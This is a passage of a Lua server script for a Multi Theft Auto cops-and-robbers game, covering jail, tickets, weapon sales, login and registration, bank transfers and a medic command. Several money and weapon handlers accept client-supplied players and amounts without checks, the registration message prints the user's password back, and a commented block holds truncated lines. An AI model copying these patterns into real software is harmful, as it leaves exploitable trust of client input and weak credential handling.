setElementPosition(player, 1588, -1661, 1235)
setPedRotation(player, 180)
elseif pjail == 31 then
setElementPosition(player, 1584, -1661, 1235)
setPedRotation(player, 180)
elseif pjail == 32 then
setElementPosition(player, 1579, -1661, 1235)
setPedRotation(player, 180)
elseif pjail == 33 then
setElementPosition(player, 1575, -1661, 1235)
setPedRotation(player, 180)
elseif pjail == 34 then
setElementPosition(player, 1570, -1661, 1235)
setPedRotation(player, 180)
elseif pjail == 35 then
setElementPosition(player, 1564, -1661, 1235)
setPedRotation(player, 180)
elseif pjail == 36 then
setElementPosition(player, 1560, -1661, 1235)
setPedRotation(player, 180)
end
end)
addEvent("BAIL", true)
function JTF(player, bail)
setElementData(player, "Stats", 0)
setElementData(player, "WantLvl", 0)
setElementInterior(player, 6, 255.18803+math.random(-2,2), 86.82748+math.random(-3,3), 1002.44531)
setPedRotation(player, 90)
toggleControl(player, "next_weapon", true)
toggleControl(player, "previous_weapon", true)
--[[cops = countPlayersInTeam(Police)
for _, players in ipairs(getElementsByType("player")) do
if getPlayerTeam(players) == Police then
Mplayer = players
reward = math.ceil(bail/cops)
rscore = false
triggerClientEvent(players, "GPM", players, Mplayer, reward, rscore)
end
end]]
end
addEventHandler("BAIL", getRootElement(), JTF)
addEvent("JailEscape", true)
function Jescape(player, bc1, bc2)
--outputDebugString("server: Jescape")
if not lspdh then
moveObject (e1, 1000, 1589.56, -1675.17, 1228)
moveObject (e2, 2000, 1554.44, -1670.57, 1226.9)
end
setElementData(player, "WantLvl", 6)
setElementData(player, "Stats", 0)
toggleControl(player, "next_weapon", true)
toggleControl(player, "previous_weapon", true)
triggerClientEvent("SSiren", getRootElement())
for _, players in ipairs(getElementsByType("player")) do
if getPlayerTeam(players) == Police then
exports["guimessages"]:outputServer(players, wrntext[players], 255, 0, 0)
exports["guimessages"]:outputServer(players, phdr1text[players]..''..getPlayerName(player)..''..phdr2text[players], 255, 0, 0)
triggerClientEvent("Tcheckntf", players, 'r', 'je', 'r', phdr1text[players]..''..getPlayerName(player)..''..phdr2text[players], players)
if bc1 and badcop1 then
exports["guimessages"]:outputServer (players, bc1text[players]..''..getPlayerName(badcop1)..''..bc2text[players], 255, 0, 0)
elseif bc2 and badcop2 then
exports["guimessages"]:outputServer (players, bc1text[players]..''..getPlayerName(badcop2)..''..bc2text[players], 255, 0, 0)
end
end
end
--reward = -3000
--rscore = -12
if bc1 and badcop1 then
--triggerClientEvent(badcop1, "GPM", badcop1, badcop1, reward, rscore)
if getElementData(badcop1, "Money") < 0 and getElementData(badcop1, "Bank") > 0 then
if (getElementData(badcop1, "Bank")-3000) < 0 then
setElementData(badcop1, "Bank", 0)
else
setElementData(badcop1, "Bank", getElementData(badcop1, "Bank")-3000)
end
else
setElementData(badcop1, "Money", getElementData(badcop1, "Money")-3000)
end
setElementData(badcop1, "Scores", getElementData(badcop1, "Scores")-12)
elseif bc2 and badcop2 then
--triggerClientEvent(badcop2, "GPM", badcop2, badcop2, reward, rscore)
if getElementData(badcop2, "Money") < 0 and getElementData(badcop2, "Bank") > 0 then
if (getElementData(badcop2, "Bank")-3000) < 0 then
setElementData(badcop2, "Bank", 0)
else
setElementData(badcop2, "Bank", getElementData(badcop2, "Bank")-3000)
end
else
setElementData(badcop2, "Money", getElementData(badcop2, "Money")-3000)
end
setElementData(badcop2, "Scores", getElementData(badcop2, "Scores")-12)
end
end
addEventHandler("JailEscape", getRootElement(), Jescape)
addEvent("OFFTICK", true)
function offerT(cop, players)
exports["guimessages"]:outputServer (cop, tk1text[cop]..''..getPlayerName(players)..''..tk2text[cop], 0, 0, 255)
triggerClientEvent("Tcheckntf", cop, 'y', 'tk', 'y', tk1text[cop]..''..getPlayerName(players)..''..tk2text[cop], cop)
setElementData(players, "Stats", 1)
triggerClientEvent("BKPT", players, cop)
end
addEventHandler("OFFTICK", getRootElement(), offerT)
addEvent("TCHANCE", true)
function TICKCHA(player)
--outputDebugString("server: TICKCHA")
if getElementData(player, "WantLvl") == 1 then
setElementData(player, "WantLvl", 2)
elseif getElementData(player, "WantLvl") == 2 then
setElementData(player, "WantLvl", 3)
setElementData(player, "Stats", 0)
end
end
addEventHandler("TCHANCE", getRootElement(), TICKCHA)
addEvent("PTick", true)
function PTTC(player, tcop)
--outputDebugString("server: PTTC")
--rscore = false
if getElementData(player, "WantLvl") == 1 then
--Mplayer = tcop
reward = 200
setElementData(tcop, "Money", getElementData(tcop, "Money")+200)
setElementData(tcop, "Scores", getElementData(tcop, "Scores")+1)
elseif getElementData(player, "WantLvl") == 2 then
reward = 500
setElementData(tcop, "Money", getElementData(tcop, "Money")+500)
setElementData(tcop, "Scores", getElementData(tcop, "Scores")+2)
end
exports["guimessages"]:outputServer(tcop, getPlayerName(player)..''..tkp1text[tcop]..''..reward..''..tkp2text[tcop], 0, 255, 0)
triggerClientEvent("Tcheckntf", tcop, 'g', 'tk', 'g', getPlayerName(player)..''..tkp1text[tcop]..''..reward..''..tkp2text[tcop], tcop)
triggerClientEvent("Tcheckntf", player, 'g', 'tk', 'g', "", player)
setElementData(player, "WantLvl", 0)
setElementData(player, "Stats", 0)
end
addEventHandler("PTick", getRootElement(), PTTC)
addEvent("EPAPZ", true)
function FEPAPZ(attacker)
--outputDebugString("server: FEPAPZ")
setElementData(attacker, "WantLvl", 3)
end
addEventHandler("EPAPZ", getRootElement(), FEPAPZ)
--[[addEventHandler("onPlayerWasted", root,
function(_, killer)
if killer and getElementType(killer) == "player" and killer ~= source and getElementData(killer, "Job") == 1 and getElementData(source, "Stats") < 2 and getElementData(source, "Hits") then
setTimer(setElementData,1000,1,source, "Hits", false)
end
end)]]
-------------------------------------------------------------------------------
addEvent("GPC", true)
function FGPC(seller, cash, amount, Wlvl)
setElementData(seller, "Money", getElementData(seller, "Money")+cash)
setElementData(seller, "Scores", getElementData(seller, "Scores")+1)
setElementData(seller, "DLP", getElementData(seller, "DLP")-amount)
exports["guimessages"]:outputServer(seller, amr1text[seller]..''..cash, 0, 255, 0)
if Wlvl then
setElementData(seller, "WantLvl", Wlvl)
end
end
addEventHandler("GPC", getRootElement(), FGPC)
addEvent("Cust", true)
function FCust(seller, player, cust)
if getElementData(seller, "DL") == player or not getElementData(seller, "DL") then
setElementData(seller, "DL", cust)
end
end
addEventHandler("Cust", getRootElement(), FCust)
--[[
addEvent("Pistols", true)
function FPistols(player, seller, Asile, Acolt, Adeag)
--outputDebugString("server: FPistols")
setPedWeaponSlot(player, 0)
local weapon = getPedWeapon(player, 2)
local totalAM = getPedTotalAmmo(player, 2)
if Asile > 0 then
if weapon == 23 then
giveWeapon(player, 23, Asile+totalAM)
else
giveWeapon(player, 23, Asile)
end
elseif Acolt > 0 then
if weapon == 22 then
giveWeapon(player, 22, Acolt+totalAM)
else
giveWeapon(player, 22, Acolt)
end
elseif Adeag > 0 then
if weapon == 24 then
giveWeapon(player, 24, Adeag+totalAM)
else
giveWeapon(player, 24, Adeag)
end
end
end
addEventHandler("Pistols", getRootElement(), FPistols)
addEvent("ShotGuns", true)
function FShotGuns(player, seller, Ashot, Asawn, Aspaz)
--outputDebugString("server: FShotGuns")
setPedWeaponSlot(player, 0)
if Ashot > 0 then
giveWeapon(player, 25, Ashot)
elseif Asawn > 0 then
giveWeapon(player, 26, Asawn)
elseif Aspaz > 0 then
giveWeapon(player, 27, Aspaz)
end
end
addEventHandler("ShotGuns", getRootElement(), FShotGuns)
addEvent("MPistols", true)
function FMPistols(player, seller, Atec, Auzi, Amp5)
--outputDebugString("server: FMPistols")
setPedWeaponSlot(player, 0)
if Atec > 0 then
giveWeapon(player, 32, Atec)
elseif Auzi > 0 then
giveWeapon(player, 28, Auzi)
elseif Amp5 > 0 then
giveWeapon(player, 29, Amp5)
end
end
addEventHandler("MPistols", getRootElement(), FMPistols)
addEvent("MGuns", true)
function FMGuns(player, seller, Aak, Am4)
--outputDebugString("server: FMGuns")
setPedWeaponSlot(player, 0)
if Aak > 0 then
giveWeapon(player, 30, Aak)
elseif Am4 > 0 then
giveWeapon(player, 31, Am4)
end
end
addEventHandler("MGuns", getRootElement(), FMGuns)
addEvent("Snipers", true)
function FSnipers(player, seller, Arife, Asnip)
--outputDebugString("server: FSnipers")
setPedWeaponSlot(player, 0)
local weapon = getPedWeapon(player, 6)
local totalAM = getPedTotalAmmo(player, 6)
if Arife > 0 then
if weapon == 33 then
giveWeapon(player, 33, Arife+totalAM)
else
giveWeapon(player, 33, Asile)
end
elseif Asnip > 0 then
if weapon == 34 then
giveWeapon(player, 34, Asnip+totalAM)
else
giveWeapon(player, 34, Asnip)
end
end
end
addEventHandler("Snipers", getRootElement(), FSnipers)
addEvent("Grenades", true)
function FGrenades(player, seller, Agren, Atear)
--outputDebugString("server: FGrenades")
setPedWeaponSlot(player, 0)
local weapon = getPedWeapon(player,
local totalAM = getPedTotalAmmo(player,
if Agren > 0 then
if weapon == 16 then
giveWeapon(player, 16, Agren+totalAM)
else
giveWeapon(player, 16, Agren)
end
elseif Atear > 0 then
if weapon == 17 then
giveWeapon(player, 17, Atear+totalAM)
else
giveWeapon(player, 17, Atear)
end
end
end
addEventHandler("Grenades", getRootElement(), FGrenades)
addEvent("Para", true)
function FPara(player, seller, Apara)
--outputDebugString("server: FPara")
setPedWeaponSlot(player, 0)
if Apara > 0 then
giveWeapon(player, 46, Apara)
end
end
addEventHandler("Para", getRootElement(), FPara)
--]]
addEvent("Pistols", true)
function FPistols(player, seller, Asile, Acolt, Adeag)
setPedWeaponSlot(player, 0)
--outputDebugString("server: FPistols")
if Asile > 0 then
giveWeapon(player, 23, Asile)
elseif Acolt > 0 then
giveWeapon(player, 22, Acolt)
elseif Adeag > 0 then
giveWeapon(player, 24, Adeag)
end
end
addEventHandler("Pistols", getRootElement(), FPistols)
addEvent("ShotGuns", true)
function FShotGuns(player, seller, Ashot, Asawn, Aspaz)
setPedWeaponSlot(player, 0)
--outputDebugString("server: FShotGuns")
if Ashot > 0 then
giveWeapon(player, 25, Ashot)
elseif Asawn > 0 then
giveWeapon(player, 26, Asawn)
elseif Aspaz > 0 then
giveWeapon(player, 27, Aspaz)
end
end
addEventHandler("ShotGuns", getRootElement(), FShotGuns)
addEvent("MPistols", true)
function FMPistols(player, seller, Atec, Auzi, Amp5)
setPedWeaponSlot(player, 0)
--outputDebugString("server: FMPistols")
if Atec > 0 then
giveWeapon(player, 32, Atec)
elseif Auzi > 0 then
giveWeapon(player, 28, Auzi)
elseif Amp5 > 0 then
giveWeapon(player, 29, Amp5)
end
end
addEventHandler("MPistols", getRootElement(), FMPistols)
addEvent("MGuns", true)
function FMGuns(player, seller, Aak, Am4)
setPedWeaponSlot(player, 0)
--outputDebugString("server: FMGuns")
if Aak > 0 then
giveWeapon(player, 30, Aak)
elseif Am4 > 0 then
giveWeapon(player, 31, Am4)
end
end
addEventHandler("MGuns", getRootElement(), FMGuns)
addEvent("Snipers", true)
function FSnipers(player, seller, Arife, Asnip)
setPedWeaponSlot(player, 0)
--outputDebugString("server: FSnipers")
if Arife > 0 then
giveWeapon(player, 33, Arife)
elseif Asnip > 0 then
giveWeapon(player, 34, Asnip)
end
end
addEventHandler("Snipers", getRootElement(), FSnipers)
addEvent("Grenades", true)
function FGrenades(player, seller, Agren, Atear)
setPedWeaponSlot(player, 0)
--outputDebugString("server: FGrenades")
if Agren > 0 then
giveWeapon(player, 16, Agren)
elseif Atear > 0 then
giveWeapon(player, 17, Atear)
end
end
addEventHandler("Grenades", getRootElement(), FGrenades)
addEvent("GArmor", true)
function FGArmor(player, seller)
--outputDebugString("server: FGArmor")
setPedArmor(player, 100)
if seller ~= player then
setElementData(seller, "DLP", getElementData(seller, "DLP")-1)
setElementData(seller, "Scores", getElementData(seller, "Scores")+1)
setElementData(seller, "Money", getElementData(seller, "Money")+200)
exports["guimessages"]:outputServer(seller, yhetext[seller], 0, 255, 0)
end
end
addEventHandler("GArmor", getRootElement(), FGArmor)
--[[
addEvent("GPME")
function FGPME(Mplayer)
--outputDebugString("server: FGPME")
reward = 50
rscore = false
triggerClientEvent(Mplayer, "GPM", Mplayer, Mplayer, reward, rscore)
outputChatBox(amr1text[Mplayer]..''..reward, Mplayer, 0, 255, 0)
end
addEventHandler("GPME", getRootElement(), FGPME)
]]
------------------------------------------------------
addEvent("getstats", true)
function getstats()
account = getPlayerAccount(source)
playeracc = getAccountName(account)
IPxx2 = getPlayerIP(source)
serial = getPlayerSerial(source)
triggerClientEvent("setstats", source, playeracc, IPxx2, serial)
end
addEventHandler ("getstats", getRootElement(), getstats)
addEvent("GCash", true)
function FGCash(player, id, amount)
--send[source] = false
for k, v in ipairs(getElementsByType("player")) do
if getElementData(v, "ID") == id then
send[source] = true
setElementData(v, "Money", getElementData(v, "Money")+amount)
exports["guimessages"]:outputServer(player, ygmtext[player]..' '..getPlayerName(v)..' $'..amount, 0, 255, 0)
exports["guimessages"]:outputServer(v, getPlayerName(player)..' '..gymtext[v]..' $'..amount, 0, 255, 0)
setElementData(player, "Money", getElementData(player, "Money")-amount)
end
end
if send[source] then
send[source] = false
else
exports["guimessages"]:outputServer(source, pmltext[source], 255, 255, 0)
--setElementData(player, "Money", getElementData(player, "Money")-amount)
end
end
addEventHandler("GCash", getRootElement(), FGCash)
---------------------------------------------------------------------------------------
--------------------------
-- Login panel by NeXTreme
--------------------------
-- Login handling
function loginPlayer(username,password,enableKickPlayer,attemptedLogins,maxLoginAttempts)
if isGuestAccount(getPlayerAccount(source)) then
if not (username == "") then
if not (password == "") then
local account = getAccount ( username, password )
if ( account ~= false ) then
--[[for k,v in ipairs(getAccounts()) do
if getAccountData(v, "Serial") == getPlayerSerial(source) then
noa = noa+1
end
end
if noa < 2 and not getAccountData(account, "Serial") or getAccountData(account, "Serial") == getPlayerSerial(source) then
noa = 0]]
logIn (source, account, password)
exports["guimessages"]:outputServer(source,"* You have sucessfully logged in!", 255, 255, 255)
setTimer(outputChatBox,700,1,"#0000FF* #FFFFFFTo enable auto-login, use #ABCDEF/enableauto#FFFFFF!",source,255,255,255,true)
triggerClientEvent (source,"hideLoginWindow",getRootElement())
loadacc(source)
--[[else
noa = 0
outputChatBox("You're allowed to own 2 accounts only!يحق لك أن تملك حسابين فقط", source, 255, 0, 0)
end]]
else
if enableKickPlayer == true then
if (attemptedLogins >= maxLoginAttempts-1) then
exports["guimessages"]:outputServer(source, "* Error! Wrong username and/or password!", 255, 255, 255)
setTimer(outputChatBox,500,1,"#0000FF* #FFFFFFWarning! Maximum login attempts reached! [#008AFF"..attemptedLogins+1 .."/"..maxLoginAttempts.."#FFFFFF]",source,255,255,255,true)
setTimer(outputChatBox,1000,1,"#0000FF* #FFFFFFYou will be kicked in #008AFF5 seconds#FFFFFF!",source,255,255,255,true)
setTimer(kickPlayer,5000,1,source,"Failed to login")
else
exports["guimessages"]:outputServer(source, "* Error! Wrong username and/or password!", 255, 255, 255)
setTimer(outputChatBox,500,1,"#0000FF* #FFFFFFLogin attempts: [#008AFF"..attemptedLogins+1 .."/"..maxLoginAttempts.."#FFFFFF]",source,255,255,255,true)
triggerClientEvent(source,"onRequestIncreaseAttempts",source)
end
else
exports["guimessages"]:outputServer(source, "* Error! Wrong username and/or password!", 255, 255, 255)
end
end
else
exports["guimessages"]:outputServer(source,"* Error! Please enter your password!",255, 255, 255)
end
else
exports["guimessages"]:outputServer(source, "* Error! Please enter your username!", 255, 255, 255)
end
else
logIn (source, account, password)
exports["guimessages"]:outputServer(source, "* You have sucessfully logged in!", 0 , 255, 0)
setTimer(outputChatBox,700,1,"#0000FF* #FFFFFFTo enable auto-login, use #ABCDEF/enableauto#FFFFFF!",source,255,255,255,true)
triggerClientEvent (source,"hideLoginWindow",getRootElement())
loadacc(source)
end
end
dbb = dbConnect("sqlite", "link/internal.db")
-- Registration here
function registerPlayer(username,password,passwordConfirm)
--[[for k,v in ipairs(getAccounts()) do
if getAccountData(v, "Serial") == getPlayerSerial(source) then
noa = noa+1
end
end]]
local noa = dbPoll(dbQuery(dbb, "SELECT value FROM userdata WHERE value = ? AND key= ?", getPlayerSerial(source), "Serial"), -1)
if #noa < 2 then
if not (username == "") then
if not (password == "") then
if not (passwordConfirm == "") then
if password == passwordConfirm then
local account = getAccount (username,password)
if (account == false) then
local accountAdded = addAccount(tostring(username),tostring(password))
if (accountAdded) then
setAccountData(accountAdded, "Serial", getPlayerSerial(source))
triggerClientEvent(source,"hideRegisterWindow",getRootElement())
exports["guimessages"]:outputServer(source, "* You have sucessfuly registered! [Username: " .. username .. " #| Password: " .. password .. "]", 255, 255, 255)
setTimer(outputChatBox,800,1,"#0000FF* #FFFFFFYou can now login with your new account.",source,255,255,255,true )
else
exports["guimessages"]:outputServer(source,"* An unknown error has occured! Please choose a different username/password and try again.", 255, 255, 255)
end
else
exports["guimessages"]:outputServer(source, "* Error! An account with this username already exists!", 255, 255, 255)
end
else
exports["guimessages"]:outputServer(source, "* Error! Passwords do not match!", 255, 255, 255)
end
else
exports["guimessages"]:outputServer(source, "* Error! Please confirm your password!", 255, 255, 255)
end
else
exports["guimessages"]:outputServer(source, "* Error! Please enter a password!", 255, 255, 255)
end
else
exports["guimessages"]:outputServer(source, "* Error! Please enter a username you would like to register with!", 255, 255, 255)
end
else
exports["guimessages"]:outputServer(source, "You're allowed to own 2 account only! يحق لك ان تملك حسابان فقط !", 255, 0, 0)
end
--noa = 0
end
-- Auto-login handling
function autologinPlayer(username,password)
if not (username == "") then
if not (password == "") then
local account = getAccount ( username, password )
if not (account == false) then
logIn (source, account, password)
exports["guimessages"]:outputServer(source, "* You have been automatically logged in.", 255, 255, 255)
setTimer(outputChatBox,1000,1,"#0000FF* #FFFFFFTo disable auto-login, use #ABCDEF/disableauto.",source,255,255,255,true)
--triggerClientEvent(source, "hideLoginWindow", getRootElement())
loadacc(source)
else
exports["guimessages"]:outputServer(source, "* Auto-login error - Username & password do not match", 255, 255, 255)
end
else
exports["guimessages"]:outputServer(source, "* Auto-login error - Failed to retrieve password", 255, 255, 255)
end
else
exports["guimessages"]:outputServer(source,"* Auto-login error - Failed to retrieve username", 255, 255, 255)
end
end
login = {}
function loadacc()
if not login[source] then
login[source] = true
plang = getAccountData(getPlayerAccount(source), "ALanguage")
if not plang then
plang = 0
end
setElementData(source, "Language", plang)
triggerClientEvent("SSS", source, source)
triggerClientEvent("TLANG", source, source)
triggerClientEvent("onLI", source, source, bag, rul)
--triggerClientEvent("COAJT", source)
if not rbp then
x, y, z = getElementPosition(bag)
triggerClientEvent("DropB", source, x, y, z)
end
end
end
addEventHandler("onPlayerQuit", root, function() login[source] = nil end) -- You forgot to add this (by TAPL)
--[[ When the player logs out, trigger the client event to check if the login panel will request them to login again
function logoutHandler()
triggerClientEvent(source,"onRequestDisplayPanel",source)
end
addEventHandler("onPlayerLogout",getRootElement(),logoutHandler)
]]
-- Get the server's name
function getData()
local sName = md5(getServerName())
local sName = string.sub(sName,0,15)
triggerClientEvent(source,"onGetServerData",getRootElement(),sName)
end
addEvent("onRequestLogin",true)
addEvent("onRequestRegister",true)
addEvent("onRequestAutologin",true)
addEvent("onClientLoginLoaded",true)
addEventHandler("onRequestLogin",getRootElement(),loginPlayer)
addEventHandler("onRequestRegister",getRootElement(),registerPlayer)
addEventHandler("onRequestAutologin",getRootElement(),autologinPlayer)
addEventHandler("onClientLoginLoaded",getRootElement(),getData)
-------------------------------------------- Pickpocket ---------------------------------------
addEvent("DRob", true)
function FDRob(player, targ)
if getElementData(targ, "protect") then
exports["guimessages"]:outputServer(player, hbrtext[player], 255, 255, 0)
elseif getElementData(targ, "Money") > 100 then
robM = math.ceil(getElementData(targ, "Money")/20)
--[[outputChatBox('You have robbed $'..robM..' from '..getPlayerName(targ), player, 0, 255, 0)
setElementData(player, "Money", getElementData(player, "Money")+robM)
outputChatBox(getPlayerName(player)..' has robbed $'..robM..' from you!', targ, 255, 0, 0)
setElementData(targ, "Money", getElementData(targ, "Money")+robM)]]
setElementData(targ, "protect", true)
exports["guimessages"]:outputServer(targ, wrntext, 255, 0, 0)
triggerClientEvent("robamount", getRootElement(player, targ), player, targ, robM)
--triggerClientEvent("disrob", player, player)
end
end
addEventHandler("DRob", getRootElement(), FDRob)
-------------------------------------------- WWE ---------------------------------------
--[[team = {}
function onWasted(tammo, killer)
if getElementData(source, "Wrestler") then
FSEndWWE(source)
winner(killer)
end
end
--@addEventHandler("onPlayerWasted", getRootElement(), onWasted)
function winner(killer)
if getElementData(bag, "Wrestlers") == 1 then
if not killer then
for k,v in ipairs(getElementsByType("player")) do
if getElementData(v, "Wrestler") then
killer = v
end
end
end
triggerClientEvent("CendWWE", getRootElement(), killer)
if killer then
for k,v in ipairs(getElementsByType("player")) do
outputChatBox(getPlayerName(killer)..' '..hwmtext[v], v, 0, 255, 0)
end
--FonQ(killer)
setElementData(killer, "Money", getElementData(killer, "Money")+1500)
setTimer(FSEndWWE, 1000, 1, killer)
--reward = 1000
--triggerClientEvent("GPM", killer, killer, reward)
end
end
end
--@addEvent("joinMatch", true)
function FjoinMatch(wrestler)
--wrestlers = getElementData(bag, "Wrestlers")
if not getElementData(wrestler, "Wrestler") and not tieT then
if getElementData(bag, "Wrestlers") < 16 then
if getElementData(bag, "Wrestlers") < 0 then
setElementData(bag, "Wrestlers", 0)
end
if getPlayerTeam(wrestler) ~= Police then
team[wrestler] = getPlayerTeam(wrestler)
setPlayerTeam(wrestler, NoTeam)
end
--wrestlers = wrestlers+1
setElementData(bag, "Wrestlers", getElementData(bag, "Wrestlers")+1)
setElementData(wrestler, "Wrestler", getElementData(bag, "Wrestlers"))
triggerClientEvent("waitanim", getRootElement(), wrestler)
setPedFightingStyle(wrestler, 5)
if getElementData(bag, "Wrestlers") > 1 and not SWWEF then
for k,v in ipairs(getElementsByType("player")) do
outputChatBox(mwstext[v], v, 0, 255, 0)
end
SWWEF = setTimer(function()
SWWEF = false
tieT = setTimer(function()
tieT = false
for k,v in ipairs(getElementsByType("player")) do
if getElementData(v, "Wrestler") then
FSEndWWE(v)
end
outputChatBox(nwmtext[v], v, 255, 255, 0)
end
triggerClientEvent("CendWWE", getRootElement())
end, 360000, 1)
for k,v in ipairs(getElementsByType("player")) do
if getElementData(v, "Wrestler") then
setElementHealth(v, 100)
setPedArmor(v, 0)
end
end
triggerClientEvent("CountDown", getRootElement())
end, 120000, 1)
end
else
outputChatBox(shjtext[wrestler], wrestler, 255, 255, 0)
end
end
end
--@addEventHandler("joinMatch", getRootElement(), FjoinMatch)
--
function onQuit()
FonQ(source)
end
addEventHandler("onPlayerQuit", getRootElement(), onQuit)
--addEvent("onQ", true)
function FonQ(wrestler)
--if getElementData(wrestler, "Wrestler") then
setElementData(bag, "Wrestlers", getElementData(bag, "Wrestlers")-1)
if getElementData(bag, "Wrestlers") < 0 then
setElementData(bag, "Wrestlers", 0)
end
if team[wrestler] then
setPlayerTeam(wrestler, Police)
team[wrestler] = false
end
setElementData(wrestler, "Wrestler", false)
setPedFightingStyle(wrestler, 15)
if getElementData(bag, "Wrestlers") < 2 then
if SWWEF then
killTimer(SWWEF)
SWWEF = false
elseif tieT then
winner()
killTimer(tieT)
tieT = false
end
end
--end
end
--addEventHandler("onQ", getRootElement(), FonQ)
]]
--@addEvent("SEndWWE", true)
function FSEndWWE(player)
--wrestlers = wrestlers-1
if getElementData(player, "Wrestler") then
if team[player] then
setPlayerTeam(player, team[player])
team[player] = false
end
setElementData(player, "Wrestler", false)
setPedFightingStyle(player, 15)
setElementData(bag, "Wrestlers", getElementData(bag, "Wrestlers")-1)
if getElementData(bag, "Wrestlers") < 0 then
setElementData(bag, "Wrestlers", 0)
end
if getElementData(bag, "Wrestlers") < 2 then
if SWWEF then
killTimer(SWWEF)
SWWEF = false
elseif tieT then
winner()
killTimer(tieT)
tieT = false
end
end
end
hr, mn = getTime()
wt = getWeather()
triggerClientEvent("LWWE", player, player, hr, mn, wt)
end
--@addEventHandler("SEndWWE", getRootElement(), FSEndWWE)]]--@--
-------------------------------------------- Bank ---------------------------------------
send = {}
addEvent("Transfer", true)
function FTransfer(tfP, tfM)
send[source] = false
for k, v in ipairs(getElementsByType("player")) do
if getElementData(v, "ID") == tonumber(tfP) then
--if tfM then
exports["guimessages"]:outputServer(v, getPlayerName(source)..' '..htm1text[v]..' $'..tfM..' '..htm2text[v], 0, 255, 0)
setElementData(v, "Bank", getElementData(v, "Bank")+tfM)
exports["guimessages"]:outputServer(source, yht1text[source]..' $'..tfM..' '..yht2text[source]..' '..getPlayerName(v), 0, 255, 0)
setElementData(source, "Bank", getElementData(source, "Bank")-tfM)
--trns = v
send[source] = true
--end
end
end
if send[source] then
send[source] = false
--trns = false
else
exports["guimessages"]:outputServer(source, pmltext[source], 255, 255, 0)
end
end
addEventHandler("Transfer", getRootElement(), FTransfer)
-------------------------------------------- Police Vehicle Marker ---------------------------------------
cars = {}
carsTimer = {}
function onCreatePoliceCar(carName)
local id = getVehicleModelFromName(carName)
if (id) then
if (isElement(cars[source])) then
destroyElement(cars[source])
end
local x, y, z = getElementPosition(source)
cars[source] = createVehicle(id, x, y, z, 0, 0, 180)
setVehicleColor(cars[source], 255, 255, 255)
addEventHandler("onVehicleExplode", cars[source], function() setTimer(function(car) if (isElement(car)) then destroyElement(car) end end, 5000, 1, source) end)
addEventHandler("onVehicleExit", cars[source], function() if isVehicleEmpty(source) then return end carsTimer[source] = setTimer(function(car) if (isElement(car)) then destroyElement(car) end end, 120000, 1, source) end)
addEventHandler("onVehicleEnter", cars[source], function() if isTimer(carsTimer[source]) then killTimer(carsTimer[source]) end end)
warpPedIntoVehicle(source, cars[source])
end
end
addEvent("onCreatePoliceCar", true)
addEventHandler("onCreatePoliceCar", root, onCreatePoliceCar)
function isVehicleEmpty(veh)
local cc = false
local occupants = getVehicleOccupants(veh)
local seats = getVehicleMaxPassengers(veh)
for seat = 0, seats do
if occupants[seat] then cc = true end
end
return cc
end
-- GATE FOR THE POLICE
--[[
policeDoor = createObject(968, 1544.699, -1630.798, 13.100, 0, 90, 90)
col = createMarker(1544.4, -1626.8, 12, "cylinder", 10, 0, 0, 0, 0)
createObject(970, 1544.9000244141 , -1622 , 13.10000038147 , 0 ,0 ,90)
createObject(970, 1544.9000244141 , -1617.9000244141 , 13.10000038147 , 0 ,0 ,90)
createObject(970, 1544.9000244141 , -1634.9000244141 , 13.199999809265 , 0 ,0 ,90)
moving = false
closed = true
movetime = 968
function openDoor(player)
if getElementType(player) == "player" then
if not isPedInVehicle(player) or getPlayerTeam(player) ~= getTeamFromName("Police") then return end
if not moving and closed then
moveObject(policeDoor, 968, 1544.699, -1630.798, 13.100, 0, -90)
moving = true
closed = false
setTimer(function() moving = false end, movetime, 1)
end
end
end
addEventHandler("onMarkerHit", col, openDoor)
function closeDoor(player)
if getElementType(player) == "player" then
if not isPedInVehicle(player) or getPlayerTeam(player) ~= getTeamFromName("Police") then return end
if not moving and not closed then
moveObject(policeDoor, 968, 1544.699, -1630.798, 13.100, 0, 90)
moving = true
closed = true
setTimer(function() moving = false end, movetime, 1)
end
end
end
addEventHandler("onMarkerLeave", col, closeDoor)]]
--- HEAL PLAYERS
local healAmount = 75
local medicMarker = {}
local medicTimer = {}
function heal(helled, heller)
local money = getElementData(helled, "Money") or 0
if (healAmount <= money) then
local health = getElementHealth(helled)
local maxHealth = getPlayerMaxHealth(helled) or 100
if (health <= (maxHealth - 25)) then
setElementHealth(helled, health + 25)
payTheMoney(heller, helled)
elseif (health <= (maxHealth - 5)) and (health > (maxHealth - 25)) and (health < maxHealth) then
setElementHealth(helled, health + (maxHealth - health))
payTheMoney(heller, helled)
end
end
end
addEvent("healPlayer", true)
addEventHandler("healPlayer", root, heal)
function getPlayerMaxHealth(player)
local currentHealth = math.ceil(getElementHealth(player))
setElementHealth(player, 200)
local MaxHealth = math.ceil(getElementHealth(player))
setElementHealth(player, currentHealth)
return MaxHealth
end
function payTheMoney(heller, helled)
setElementData(helled, "Money", (getElementData(helled, "Money") or 0) - healAmount)
setElementData(heller, "Money", (getElementData(heller, "Money") or 0) + healAmount)
exports["guimessages"]:outputServer(heller, "You have earned $"..healAmount, 0, 255, 0)
exports["guimessages"]:outputServer(helled, "You've paid $"..healAmount.." for medical services.", 255, 125, 0)
end
addCommandHandler("medic",
function(player, cmd)
local team = getPlayerTeam(player)
local medicTeam = getTeamFromName("Medic")
if team and medicTeam and team == medicTeam then
if isElement(medicMarker[player]) then
destroyElement(medicMarker[player])
medicMarker[player] = nil
setElementFrozen(player, false)
toggleAllControls(player, true)
exports["guimessages"]:outputServer(player, "Medic marker unloaded successfully.", 255, 255, 0)
else
if (getElementData(player, "WantLvl") or 0) > 0 then
exports["guimessages"]:outputServer(player, "Your wanted level prevent you from doing this action.", 255, 0, 0)
elseif (getElementData(player, "Stats") or 0) == 1 then
exports["guimessages"]:outputServer(player, "You can't do this action right now, pay your Ticket.", 255, 0, 0)
elseif (getElementData(player, "Stats") or 0) == 2 then
exports["guimessages"]:outputServer(player, "You can't do this action right now, because you're Jailed.", 255, 0, 0)
elseif (getElementData(player, "Stats") or 0) == 3 then
exports["guimessages"]:outputServer(player, "You can't do this action right now, because you're under Arrest.", 255, 0, 0)
elseif (getElementData(player, "Stats") or 0) == 4 then
exports["guimessages"]:outputServer(player, "You can't do this action right now, because you're Kidnapped.", 255, 0, 0)
elseif isPedDead(player) then
exports["guimessages"]:outputServer(player, "What are you trying to do?!?! only alives can do this action!", 255, 0, 0)
elseif isPedInVehicle(player) then
exports["guimessages"]:outputServer(player, "You must be on foot to do this action.", 255, 0, 0)
elseif not isPedOnGround(player) then
exports["guimessages"]:outputServer(player, "You must be on the ground to do this action.", 255, 0, 0)
else
setElementFrozen(player, true)
toggleAllControls(player, false, true, false)
